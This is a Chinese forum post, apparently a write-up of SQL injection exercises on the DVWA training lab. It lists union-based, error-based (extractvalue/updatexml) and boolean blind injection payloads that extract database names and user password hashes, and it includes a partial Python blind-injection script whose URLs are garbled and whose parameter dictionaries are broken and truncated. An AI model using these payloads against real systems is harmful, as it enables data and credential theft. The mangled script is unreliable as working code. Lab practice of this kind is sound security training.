论坛首页 漏洞分析研究区 阅读主题

[原创]dwva靶场-- sql注入

326 浏览 0 回复
#1 楼主 2026-06-01 21:09:07
sql注入 无防护 先尝试',有报错信息 再尝试' or 1=1 -- ,确定存在sql注入漏洞(用' or '1'='1闭合也可以,用--注释后面内容时记得加空格) 这里我们已经确定有两列输出了后,一般思路为数据库名--表名--列名--字段查列数也可以使用order by (union select 类似)' order by 1-- ,' order by 1,2-- 都是没有报错也没有信息返回的直到' order by 1,2,3--报错 (说明列数为当前的减1) 查数据库及版本 ' union select database(),version() '  (这个数据库是当前数据库) 查表名 ' union select table_name,null from information_schema.tables where table_schema='dvwa' --  (null为占位符) 查列名 ' union select column_name,2  from information_schema.columns where table_name='users'-- 查数据' union select user,password from users--  有转义函数 mysqli_real_escape_string  但id并没有加上'',我们仍能通过数字型注入实现渗透如1 or 1=1 ,1 order by 2,1 union select user,password from users等等这里突然想到之前pikachu靶场中利用报错函数实现注入,这里尝试一下1 and extractvalue(1, concat(0x7e, database())) 1 and updatexml(1, concat(0x7e, version()), 1)  盲注先看看正确响应页面是什么 再看看错误时如何响应 尝试1' and '1'='1响应exists;尝试1' and '1'='2响应missing由此可以判断存在sql注入,同样的道理根据页面响应来判断我们所需的信息1' order by 2-- 响应exists;1' order by 2-- 响应missing    说明有两列接着判断数据库名长度--数据库名--表名长度--表名--列名长度--列名--字段内容1 and length(database()) = 1/2/3/4/.......1 and substr(database(), 1, 1) =a/b/c/d/.... 渗透脚本:import requests
import string

# 生成包含所有大小写字母和数字的列表
str_list=list(string.ascii_letters + string.digits+ "_")
name_tables=[]
name_columns=[]
url = "05dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6r3W2W2M7#2)9J5c8Y4y4I4L8r3W2Q4y4h3k6T1L8r3W2F1k6q4)9J5c8W2)9J5y4Y4q4#2L8%4c8Q4x3@1t1`.
headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0',
'Cookie': 'PHPSESSID=k35rb60d66m9pe8t3bnk90nto1; security=low',
# 'Referer': '4e4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8Y4k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6r3W2W2M7#2)9J5c8Y4y4I4L8r3W2Q4y4h3k6T1L8r3W2F1k6q4)9J5c8W2)9K6c8X3W2V1i4K6y4p5j5i4y4V1j5i4y4V1j5i4y4V1j5g2)9J5y4X3q4E0M7q4)9K6b7W2y4#2j5X3#2A6N6q4)9K6c8q4y4#2j5X3#2A6N6q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7
#数据库名称长度
for len_dbname in range(1,20):
    params_dblength = {
        'Submit':'submit'
    response = requests.get( url,params=params_dblength, headers=headers)
    if  'exists' in response.text:
       print("当前数据库名长度为:",len_dbname)
       break

#数据库名称
name_db=""
for i in range(1,len_dbname+1):
    for a in str_list:
        params_dbname = {
        'Submit': 'submit'
        response = requests.get( url,params=params_dbname, headers=headers)
        if 'exists' in response.text:
            name_db+=a
            break
print("当前数据库名为:" ,name_db)

#表的数量
for num_table in range(1,20):
    params_tablenum={
        "Submit":"submit"
    response = requests.get( url,params=params_tablenum, headers=headers)
    if 'exists' in response.text:
        break

#第x个表的表名长度
for x in range(1,num_table+1):
    for len_tablename in range(1,20):
        params_tablelen={
        "Submit":"submit"
        response = requests.get( url,params=params_tablelen, headers=headers)
        if 'exists' in response.text:

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290686.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号